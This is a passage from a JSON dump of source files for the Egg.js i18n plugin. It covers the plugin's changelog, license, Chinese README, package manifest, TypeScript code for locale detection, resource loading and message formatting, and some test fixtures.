    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\n## [3.0.1](https://github.com/eggjs/i18n/compare/v3.0.0...v3.0.1) (2025-01-12)\n\n\n### Bug Fixes\n\n* not allow to override the `app.locals.__` method ([#15](https://github.com/eggjs/i18n/issues/15)) ([6e8447c](https://github.com/eggjs/i18n/commit/6e8447c82281269756e746de38845bd65fde1976))\n\n## [3.0.0](https://github.com/eggjs/i18n/compare/v2.1.1...v3.0.0) (2025-01-11)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\nBased on the comprehensive changes, here are the updated release notes:\n\n- **New Features**\n  - Migrated package to TypeScript with improved type safety.\n- Enhanced internationalization (i18n) support with more flexible\nconfiguration.\n  - Added comprehensive GitHub Actions workflows for CI/CD.\n\n- **Improvements**\n  - Updated Node.js compatibility to version 18.19.0+.\n  - Modernized module system with ES module support.\n  - Refined configuration and localization mechanisms.\n\n- **Breaking Changes**\n  - Package renamed from `egg-i18n` to `@eggjs/i18n`.\n  - Switched from CommonJS to ES module syntax.\n  - Removed legacy configuration files and testing infrastructure.\n\n- **Chores**\n  - Cleaned up and simplified project structure.\n  - Updated dependencies and development tooling.\n  - Improved documentation and README.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#14](https://github.com/eggjs/i18n/issues/14)) ([ccc8eaa](https://github.com/eggjs/i18n/commit/ccc8eaa8ea87e84cd706643883c1243db5efa67c))\n\n2.1.1 / 2019-04-30\n==================\n\n**fixes**\n  * [[`4d1c463`](http://github.com/eggjs/egg-i18n/commit/4d1c4638ec3551735620e384a316c68656870442)] - fix: use ctx.__setLocale to set cookie (#12) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`cfd25db`](http://github.com/eggjs/egg-i18n/commit/cfd25db5d98bd9372a8b18a1e70207fc28ab0d7c)] - test: assert locale cookie without domain (#11) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`99c56c4`](http://github.com/eggjs/egg-i18n/commit/99c56c480a316aaaa5ae5442575fc78e42641909)] - test: node 12 (fengmk2 <<fengmk2@gmail.com>>)\n\n2.1.0 / 2019-04-28\n==================\n\n**features**\n  * [[`ce59330`](http://github.com/eggjs/egg-i18n/commit/ce59330ef1dc069f43ebde29f8fe345f6a4d186e)] - feat: support ctx.locale setter (#10) (Yiyu He <<dead_horse@qq.com>>)\n\n**others**\n  * [[`50322d6`](http://github.com/eggjs/egg-i18n/commit/50322d680e783b30cfed7ffb39e36d3edf2ed210)] - chore: add cookieDomain options description (#9) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.0.0 / 2017-11-10\n==================\n\n**others**\n  * [[`80e591d`](http://github.com/eggjs/egg-i18n/commit/80e591d86eef8d92a8f8c6eef8d8d8fb00d9a1e2)] - refactor: use async function and support egg@2 (#8) (Yiyu He <<dead_horse@qq.com>>)\n\n1.2.0 / 2017-09-13\n==================\n\n**features**\n  * [[`1117129`](http://github.com/eggjs/egg-i18n/commit/1117129ce0153d317d376a2692b3de14b94a6717)] - feat: use config/locale/*.js as default I18N folder (#7) (tudou527 <<tudou527@users.noreply.github.com>>)\n\n1.1.1 / 2017-04-19\n==================\n\n  * fix: config.i18n.dir should be config.i18n.dirs (#6)\n\n1.1.0 / 2017-01-13\n==================\n\n  * feat: add ctx.locale getter (#5)\n  * deps: upgrade deps (#4)\n\n1.0.2 / 2016-08-26\n==================\n\n  * fix: don't use bind (#3)\n\n1.0.1 / 2016-08-16\n==================\n\n  * fix: use loader.getLoadUnits from egg-core (#2)\n\n1.0.0 / 2016-08-02\n==================\n\n * init version\n"
  },
  {
    "path": "plugins/i18n/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/i18n/README.md",
    "content": "# @eggjs/i18n\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/i18n.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/i18n.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/i18n\n[snyk-image]: https://snyk.io/test/npm/@eggjs/i18n/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/i18n\n[download-image]: https://img.shields.io/npm/dm/@eggjs/i18n.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/i18n\n\n可以为你的应用提供多语言的特性\n\n## 功能\n\n- 支持多种语言独立配置，统一存放在 config/locale/\\*.js 下（ 兼容 `config/locales/*.js` ）；\n- 提供 Middleware 为 View 提供 `\\_\\_`, `gettext` 函数获取多语言文案；\n- 基于 URL 参数 `locale` 修改语言显示，同时会记录到 Cookie，下次请求会用 Cookie 里面的语言方案。\n\n## 配置\n\negg 内置插件 `i18n` 默认开启。\n\n你可以修改 `config/config.default.ts` 来设定 i18n 的配置项：\n\n```ts\n// config/config.default.ts\nexport default {\n  i18n: {\n    // 默认语言，默认 \"en_US\"\n    defaultLocale: 'zh_CN',\n    // URL 参数，默认 \"locale\"\n    queryField: 'locale',\n    // Cookie 记录的 key, 默认：\"locale\"\n    cookieField: 'locale',\n    // Cookie 的 domain 配置，默认为空，代表当前域名有效\n    cookieDomain: '',\n    // Cookie 默认 `1y` 一年后过期， 如果设置为 Number，则单位为 ms\n    cookieMaxAge: '1y',\n  },\n};\n```\n\n其实大部分时候，你只需要修改一下 `defaultLocale` 设定默认的语言。\n\n## 编写你的 I18n 多语言文件\n\n```ts\n// config/locale/zh-CN.ts\nexport default {\n  Email: '邮箱',\n  'Welcome back, %s!': '欢迎回来，%s!',\n  'Hello %s, how are you today?': '你好 %s, 今天过得咋样？',\n};\n```\n\n```ts\n// config/locale/en-US.ts\nexport default {\n  Email: 'Email',\n};\n```\n\n或者也可以用 JSON 格式的文件：\n\n```json\n// config/locale/zh-CN.json\n{\n  \"email\": \"邮箱\",\n  \"login\": \"帐号\",\n  \"createdAt\": \"注册时间\"\n}\n```\n\n## 使用 I18n 函数获取语言文本\n\nI18n 为你提供 `__` (Alias: `gettext`) 函数，让你可以轻松获得 locale 文件夹下面的多语言文本。\n\n> NOTE: \\_\\_ 是两个下划线哦！\n\n- `ctx.__ = function (key, value[, value2, ...])`: 类似 util.format 接口\n- `ctx.__ = function (key, values)`: 支持数组下标占位符方式，如\n\n```ts\nctx.__('{0} {0} {1} {1}', ['foo', 'bar']);\nctx.gettext('{0} {0} {1} {1}', ['foo', 'bar']);\n\n=>\nfoo foo bar bar\n```\n\n### Controllers 下的使用示例\n\n```ts\nexport default ctx => {\n  ctx.body = {\n    message: ctx.__('Welcome back, %s!', ctx.user.name)\n    // 或者使用 gettext，如果觉得 __ 不好看的话\n    // message: this.gettext('Welcome back, %s!', ctx.user.name)\n    user: ctx.user,\n  };\n};\n```\n\n### HttpController 下的使用示例\n\n```ts\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, HTTPContext, Context } from 'egg';\n\n@HTTPController()\nexport default class I18nController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/i18n' })\n  async getI18n(@HTTPContext() ctx: Context) {\n    return { message: ctx.__('Welcome back, %s!', ctx.user.name) };\n  }\n}\n```\n\n### View 文件下的使用示例\n\n```html\n<li>{{ __('Email') }}: {{ user.email }}</li>\n<li>{{ __('Hello %s, how are you today?', user.name) }}</li>\n<li>{{ __('{0} {0} {1} {1}', ['foo', 'bar']) }}</li>\n```\n\n### 修改应用的默认语言\n\n你可以用下面几种方式修改应用的当前语言（修改或会记录到 Cookie），下次请求直接用设定好的语言。\n\n优先级从上到下：\n\n- query: `/?locale=en-US`\n- cookie: `locale=zh-TW`\n- header: `Accept-Language: zh-CN,zh;q=0.5`\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/i18n/package.json",
    "content": "{\n  \"name\": \"@eggjs/i18n\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"i18n plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"i18n\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/i18n#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"gxcsoccer <gxcsoccer@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/i18n\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./locales\": \"./src/locales.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./utils\": \"./src/utils.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./locales\": \"./dist/locales.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./utils\": \"./dist/utils.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/utils\": \"workspace:*\",\n    \"humanize-ms\": \"catalog:\",\n    \"ini\": \"catalog:\",\n    \"js-yaml\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@types/ini\": \"catalog:\",\n    \"@types/js-yaml\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"egg-view-nunjucks\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/i18n/src/app/extend/application.ts",
    "content": "import { debuglog, format } from 'node:util';\n\nimport { Application } from 'egg';\n\nimport { isObject } from '../../utils.ts';\n\nconst debug = debuglog('egg/i18n/app/extend/application');\n\nexport default class I18nApplication extends Application {\n  _I18N_RESOURCES!: Record<string, Record<string, string>>;\n\n  isSupportLocale(locale: string): boolean {\n    return !!this._I18N_RESOURCES[locale];\n  }\n\n  gettext(locale: string, key: string, value?: any, ...args: any[]): string {\n    if (!locale || !key) {\n      // __()\n      // __('en')\n      return '';\n    }\n\n    const resource = this._I18N_RESOURCES[locale] ?? {};\n\n    let text = resource[key];\n    if (text === undefined) {\n      text = key;\n    }\n\n    debug('%s: %j => %j', locale, key, text);\n    if (!text) {\n      return '';\n    }\n\n    if (value === undefined) {\n      // __(locale, key)\n      return text;\n    }\n    if (args.length === 0) {\n      if (isObject(value)) {\n        // __(locale, key, object)\n        // __('zh', '{a} {b} {b} {a}', {a: 'foo', b: 'bar'})\n        // =>\n        // foo bar bar foo\n        return formatWithObject(text, value);\n      }\n\n      if (Array.isArray(value)) {\n        // __(locale, key, array)\n        // __('zh', '{0} {1} {1} {0}', ['foo', 'bar'])\n        // =>\n        // foo bar bar foo\n        return formatWithArray(text, value);\n      }\n\n      // __(locale, key, value)\n      return format(text, value);\n    }\n\n    // __(locale, key, value1, ...)\n    return format(text, value, ...args);\n  }\n\n  __(locale: string, key: string, value?: any, ...args: any[]): string {\n    return this.gettext(locale, key, value, ...args);\n  }\n}\n\nconst ARRAY_INDEX_RE = /\\{(\\d+)\\}/g;\nfunction formatWithArray(text: string, values: any[]) {\n  return text.replace(ARRAY_INDEX_RE, (original, matched) => {\n    const index = parseInt(matched);\n    if (index < values.length) {\n      return values[index];\n    }\n    // not match index, return original text\n    return original;\n  });\n}\n\nconst Object_INDEX_RE = /\\{(.+?)\\}/g;\nfunction formatWithObject(text: string, values: Record<string, any>) {\n  return text.replace(Object_INDEX_RE, (original, matched) => {\n    const value = values[matched];\n    if (value) {\n      return value;\n    }\n    // not match index, return original text\n    return original;\n  });\n}\n"
  },
  {
    "path": "plugins/i18n/src/app/extend/context.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { Context } from 'egg';\n\nimport { formatLocale } from '../../utils.ts';\n\nconst debug = debuglog('egg/i18n/app/extend/context');\n\nexport default class I18nContext extends Context {\n  /**\n   * get current request locale\n   * @member Context#locale\n   * @return {String} lower case locale string, e.g.: 'zh-cn', 'en-us'\n   */\n  get locale(): string {\n    return this.__getLocale();\n  }\n\n  set locale(l: string) {\n    this.__setLocale(l);\n  }\n\n  /**\n   * `ctx.__` 的别名。\n   * @see {@link Context#__}\n   * @function Context#gettext\n   */\n  gettext(key: string, value?: any, ...args: any[]): string {\n    return this.app.gettext(this.locale, key, value, ...args);\n  }\n\n  /**\n   * 如果开启了 I18n 多语言功能，那么会出现此 API，通过它可以获取到当前请求对应的本地化数据。\n   *\n   * 详细使用说明，请查看 {@link I18n}\n   * - `ctx.__ = function (key, value[, value2, ...])`: 类似 `util.format` 接口\n   * - `ctx.__ = function (key, values)`: 支持数组下标占位符方式，如\n   * - `__` 的别名是 `gettext(key, value)`\n   *\n   * > NOTE: __ 是两个下划线哦！\n   * @function Context#__\n   * @example\n   * ```js\n   * ctx.__('{0} {0} {1} {1}'), ['foo', 'bar'])\n   * ctx.gettext('{0} {0} {1} {1}'), ['foo', 'bar'])\n   * =>\n   * foo foo bar bar\n   * ```\n   * ##### Controller 下的使用示例\n   *\n   * ```js\n   * module.exports = function* () {\n   *   this.body = {\n   *     message: this.__('Welcome back, %s!', this.user.name),\n   *     // 或者使用 gettext，如果觉得 __ 不好看的话\n   *     // message: this.gettext('Welcome back, %s!', this.user.name),\n   *     user: this.user,\n   *   };\n   * };\n   * ```\n   *\n   * ##### View 文件下的使用示例\n   *\n   * ```html\n   * <li>{{ __('Email') }}: {{ user.email }}</li>\n   * <li>\n   *   {{ __('Hello %s, how are you today?', user.name) }}\n   * </li>\n   * <li>\n   *   {{ __('{0} {0} {1} {1}'), ['foo', 'bar']) }}\n   * </li>\n   * ```\n   *\n   * ##### locale 参数获取途径\n   *\n   * 优先级从上到下：\n   *\n   * - query: `/?locale=en-US`\n   * - cookie: `locale=zh-TW`\n   * - header: `Accept-Language: zh-CN,zh;q=0.5`\n   */\n  __(key: string, value?: any, ...args: any[]): string {\n    return this.gettext(key, value, ...args);\n  }\n\n  declare __locale: string;\n  // 1. query: /?locale=en-US\n  // 2. cookie: locale=zh-TW\n  // 3. header: Accept-Language: zh-CN,zh;q=0.5\n  __getLocale(): string {\n    if (this.__locale) {\n      return this.__locale;\n    }\n\n    const { localeAlias, defaultLocale, cookieField, queryField, writeCookie } = this.app.config.i18n;\n    const cookieLocale = this.cookies.get(cookieField, { signed: false });\n\n    // 1. Query\n    let locale = this.query[queryField] as string;\n    let localeOrigin = 'query';\n\n    // 2. Cookie\n    if (!locale && cookieLocale) {\n      locale = cookieLocale;\n      localeOrigin = 'cookie';\n    }\n\n    // 3. Header\n    if (!locale) {\n      // Accept-Language: zh-CN,zh;q=0.5\n      // Accept-Language: zh-CN\n      let languages = this.acceptsLanguages();\n      if (languages) {\n        if (Array.isArray(languages)) {\n          if (languages[0] === '*') {\n            languages = languages.slice(1);\n          }\n          if (languages.length > 0) {\n            for (const l of languages) {\n              const lang = formatLocale(l);\n              if (this.app.isSupportLocale(lang) || localeAlias[lang]) {\n                locale = lang;\n                localeOrigin = 'header';\n                break;\n              }\n            }\n          }\n        } else {\n          locale = languages;\n          localeOrigin = 'header';\n        }\n      }\n\n      // all missing, set it to defaultLocale\n      if (!locale) {\n        locale = defaultLocale;\n        localeOrigin = 'default';\n      }\n    }\n\n    // cookie alias\n    if (locale in localeAlias) {\n      const originalLocale = locale;\n      locale = localeAlias[locale];\n      debug('Used alias, received %s but using %s', originalLocale, locale);\n    }\n\n    locale = formatLocale(locale);\n\n    // validate locale\n    if (!this.app.isSupportLocale(locale)) {\n      debug('Locale %s is not supported. Using default (%s)', locale, defaultLocale);\n      locale = defaultLocale;\n    }\n\n    // if header not send, set the locale cookie\n    if (writeCookie && cookieLocale !== locale && !this.headerSent) {\n      updateCookie(this, locale);\n    }\n    debug('Locale: %s from %s', locale, localeOrigin);\n    this.__locale = locale;\n    this.__localeOrigin = localeOrigin;\n    return locale;\n  }\n\n  declare __localeOrigin: string;\n  __getLocaleOrigin(): string {\n    if (this.__localeOrigin) {\n      return this.__localeOrigin;\n    }\n    this.__getLocale();\n    return this.__localeOrigin;\n  }\n\n  __setLocale(locale: string): void {\n    this.__locale = locale;\n    this.__localeOrigin = 'set';\n    if (this.app.config.i18n.writeCookie && !this.headerSent) {\n      updateCookie(this, locale);\n    }\n  }\n}\n\nfunction updateCookie(ctx: Context, locale: string) {\n  const { cookieMaxAge, cookieField, cookieDomain } = ctx.app.config.i18n;\n  const cookieOptions = {\n    // make sure browser javascript can read the cookie\n    httpOnly: false,\n    maxAge: cookieMaxAge as number,\n    signed: false,\n    domain: cookieDomain,\n    overwrite: true,\n  };\n  ctx.cookies.set(cookieField, locale, cookieOptions);\n  debug('Saved cookie with locale %s, options: %j', locale, cookieOptions);\n}\n"
  },
  {
    "path": "plugins/i18n/src/app.ts",
    "content": "import path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport type { ILifecycleBoot } from 'egg';\nimport { ms } from 'humanize-ms';\nimport { exists } from 'utility';\n\nimport type I18nApplication from './app/extend/application.ts';\nimport { loadLocaleResources } from './locales.ts';\nimport { formatLocale } from './utils.ts';\n\nconst debug = debuglog('egg/i18n/app');\n\n/**\n * I18n 国际化\n *\n * 通过设置 Plugin 配置 `i18n: true`，开启多语言支持。\n *\n * #### 语言文件存储路径\n *\n * 统一存放在 `config/locale/*.js` 下（ 兼容`config/locales/*.js` ），如包含英文，简体中文，繁体中文的语言文件：\n *\n * ```\n * - config/locale/\n *   - en-US.js\n *   - zh-CN.js\n *   - zh-TW.js\n * ```\n * @class I18n\n * @param {App} app Application object.\n * @example\n *\n * #### I18n 文件内容\n *\n * ```js\n * // config/locale/zh-CN.js\n * module.exports = {\n *   \"Email\": \"邮箱\",\n *   \"Welcome back, %s!\": \"欢迎回来, %s!\",\n *   \"Hello %s, how are you today?\": \"你好 %s, 今天过得咋样？\",\n * };\n * ```\n *\n * ```js\n * // config/locale/en-US.js\n * module.exports = {\n *   \"Email\": \"Email\",\n * };\n * ```\n * 或者也可以用 JSON 格式的文件:\n *\n * ```js\n * // config/locale/zh-CN.json\n * {\n *   \"email\": \"邮箱\",\n *   \"login\": \"帐号\",\n *   \"createdAt\": \"注册时间\"\n * }\n * ```\n */\n\nexport default class I18n implements ILifecycleBoot {\n  private readonly app;\n\n  constructor(app: I18nApplication) {\n    this.app = app;\n  }\n\n  async didLoad(): Promise<void> {\n    const i18nConfig = this.app.config.i18n;\n    i18nConfig.defaultLocale = formatLocale(i18nConfig.defaultLocale);\n    i18nConfig.cookieMaxAge = ms(i18nConfig.cookieMaxAge);\n\n    i18nConfig.dirs = Array.isArray(i18nConfig.dirs) ? i18nConfig.dirs : [];\n    // 按 egg > 插件 > 框架 > 应用的顺序遍历 config/locale(config/locales) 目录，加载所有配置文件\n    for (const unit of this.app.loader.getLoadUnits()) {\n      let localePath = path.join(unit.path, 'config/locale');\n      /**\n       * 优先选择 `config/locale` 目录下的多语言文件，不存在时再选择 `config/locales` 目录\n       * 避免 2 个目录同时存在时可能导致的冲突\n       */\n      if (!(await exists(localePath))) {\n        localePath = path.join(unit.path, 'config/locales');\n      }\n      i18nConfig.dirs.push(localePath);\n    }\n\n    debug('app.config.i18n.dirs:', i18nConfig.dirs);\n\n    await loadLocaleResources(this.app, i18nConfig);\n\n    const app = this.app;\n    function gettextInContext(key: string, ...args: any[]): string {\n      const ctx = app.ctxStorage.getStore()!;\n      return ctx.gettext(key, ...args);\n    }\n    // 在 view 中使用 `__(key, value, ...args)`\n    Object.defineProperties(app.locals, {\n      __: {\n        value: gettextInContext,\n        enumerable: true,\n      },\n      gettext: {\n        value: gettextInContext,\n        enumerable: true,\n      },\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/i18n/src/config/config.default.ts",
    "content": "export interface I18nConfig {\n  /**\n   * 默认语言是美式英语，毕竟支持多语言，基本都是以英语为母板\n   * 默认值是 `en_US`\n   */\n  defaultLocale: string;\n  /**\n   * 多语言资源文件存放路径，不建议修改\n   * 默认值是 `[]`\n   */\n  dirs: string[];\n  /**\n   * @deprecated please use `dirs` instead\n   */\n  dir?: string;\n  /**\n   * 设置当前语言的 query 参数字段名，默认通过 `query.locale` 获取\n   * 如果你想修改为 `query.lang`，那么请通过修改此配置实现\n   * 默认值是 `locale`\n   */\n  queryField: string;\n  /**\n   * 如果当前请求用户语言有变化，都会设置到 cookie 中保持着，\n   * 默认是存储在key 为 locale 的 cookie 中\n   * 默认值是 `locale`\n   */\n  cookieField: string;\n  /**\n   * 存储 locale 的 cookie domain 配置，默认不设置，为当前域名才有效\n   * 默认值是 `''`\n   */\n  cookieDomain: string;\n  /**\n   * cookie 默认一年后过期，如果设置为 Number，则单位为 ms\n   * 默认值是 `'1y'`\n   */\n  cookieMaxAge: string | number;\n  /**\n   * locale 别名，比如 zh_CN => cn\n   * 默认值是 `{}`\n   */\n  localeAlias: Record<string, string>;\n  /**\n   * 是否写入 cookie\n   * 默认值是 `true`\n   */\n  writeCookie: boolean;\n}\n\nexport default {\n  i18n: {\n    defaultLocale: 'en_US',\n    dirs: [],\n    queryField: 'locale',\n    cookieField: 'locale',\n    cookieDomain: '',\n    cookieMaxAge: '1y',\n    localeAlias: {},\n    writeCookie: true,\n    dir: undefined,\n  } as I18nConfig,\n};\n"
  },
  {
    "path": "plugins/i18n/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * I18n plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import i18nPlugin from '@eggjs/i18n';\n *\n * export default {\n *   ...i18nPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'i18n',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/i18n/src/locales.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport ini from 'ini';\nimport yaml from 'js-yaml';\nimport { exists, readJSON } from 'utility';\n\nimport type I18nApplication from './app/extend/application.ts';\nimport type { I18nConfig } from './config/config.default.ts';\nimport { formatLocale, isObject } from './utils.ts';\n\nconst debug = debuglog('egg/i18n/locales');\n\nexport async function loadLocaleResources(app: I18nApplication, options: I18nConfig): Promise<void> {\n  const localeDirs = options.dirs;\n  const resources: Record<string, Record<string, string>> = {};\n\n  if (options.dir && !localeDirs.includes(options.dir)) {\n    app.deprecate('[@eggjs/i18n] `config.i18n.dir` is deprecated, please use `config.i18n.dirs` instead');\n    localeDirs.push(options.dir);\n  }\n\n  for (const dir of localeDirs) {\n    if (!(await exists(dir))) {\n      continue;\n    }\n\n    const names = await fs.readdir(dir);\n    for (const name of names) {\n      const filepath = path.join(dir, name);\n      // support en_US.js => en-US.js\n      const locale = formatLocale(name.split('.')[0]);\n      let resource: Record<string, string> = {};\n\n      if (name.endsWith('.js') || name.endsWith('.ts')) {\n        resource = flattening(\n          await importModule(filepath, {\n            importDefaultOnly: true,\n          }),\n        );\n      } else if (name.endsWith('.json')) {\n        resource = flattening(await readJSON(filepath));\n      } else if (name.endsWith('.properties')) {\n        resource = ini.parse(await fs.readFile(filepath, 'utf8'));\n      } else if (name.endsWith('.yml') || name.endsWith('.yaml')) {\n        resource = flattening(yaml.load(await fs.readFile(filepath, 'utf8')));\n      }\n\n      resources[locale] = resources[locale] || {};\n      Object.assign(resources[locale], resource);\n    }\n  }\n\n  debug('Init locales with %j, got %j resources', options, Object.keys(resources));\n  app._I18N_RESOURCES = resources;\n}\n\nfunction flattening(data: any) {\n  const result: Record<string, string> = {};\n\n  function deepFlat(data: any, prefix: string) {\n    for (const key in data) {\n      const value = data[key];\n      const k = prefix ? prefix + '.' + key : key;\n      if (isObject(value)) {\n        deepFlat(value, k);\n      } else {\n        result[k] = String(value);\n      }\n    }\n  }\n\n  deepFlat(data, '');\n\n  return result;\n}\n"
  },
  {
    "path": "plugins/i18n/src/types.ts",
    "content": "import type { I18nConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    /**\n     * I18n options\n     * @member Config#i18n\n     */\n    i18n: I18nConfig;\n  }\n\n  interface Application {\n    isSupportLocale(locale: string): boolean;\n    gettext(locale: string, key: string, value?: any, ...args: any[]): string;\n    __(locale: string, key: string, value?: any, ...args: any[]): string;\n  }\n\n  interface Context {\n    /**\n     * get and set current request locale\n     * @member Context#locale\n     * @return {String} lower case locale string, e.g.: 'zh-cn', 'en-us'\n     */\n    locale: string;\n\n    gettext(key: string, value?: any, ...args: any[]): string;\n    __(key: string, value?: any, ...args: any[]): string;\n\n    __getLocale(): string;\n    __setLocale(l: string): void;\n  }\n}\n"
  },
  {
    "path": "plugins/i18n/src/utils.ts",
    "content": "export function isObject(obj: any): boolean {\n  return Object.prototype.toString.call(obj) === '[object Object]';\n}\n\nexport function formatLocale(locale: string): string {\n  // support zh_CN, en_US, zh_Hans_CN, zh_Hant_CN => zh-CN, en-US, zh-hans-cn, zh-hant-cn\n  return locale.replaceAll('_', '-').toLowerCase();\n}\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n/app/controller/message.js",
    "content": "module.exports = async (ctx) => {\n  ctx.body = {\n    message: ctx.__('Hello %s, how are you today? How was your %s.', 'fengmk2', 18),\n    empty: ctx.__(),\n    notexists_key: ctx.__('key not exists'),\n    empty_string: ctx.__(''),\n    novalue: ctx.__('key %s ok'),\n    arguments3: ctx.gettext('%s %s %s', 1, 2, 3),\n    arguments4: ctx.gettext('%s %s %s %s', 1, 2, 3, 4),\n    arguments5: ctx.__('%s %s %s %s %s', 1, 2, 3, 4, 5),\n    arguments6: ctx.__('%s %s %s %s %s.', 1, 2, 3, 4, 5, 6),\n    values: ctx.__('{0} {1} {0} {1} {2} {100}', ['foo', 'bar']),\n  };\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/message', app.controller.message);\n};\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'i18n';\n"
  },
  {
    "path": "plugins/i18n/test/fixtures/apps/i18n/config/locales/de.json",
    "content": "{\n  \"Hello\": \"Hallo\",\n  \"Hello %s, how are you today?\": \"Hallo %s, wie geht es dir heute?\",\n  \"weekend\": \"Wochenende\",\n  \"Hello %s, how are you today? How was your %s.\": \"Hallo %s, wie geht es dir heute? Wie war dein %s.\",\n  \"Hi\": \"Hi\",\n  \"Howdy\": \"Hallöchen\",\n  \"tree\": \"Baum\"\n}\n"
  },
  {
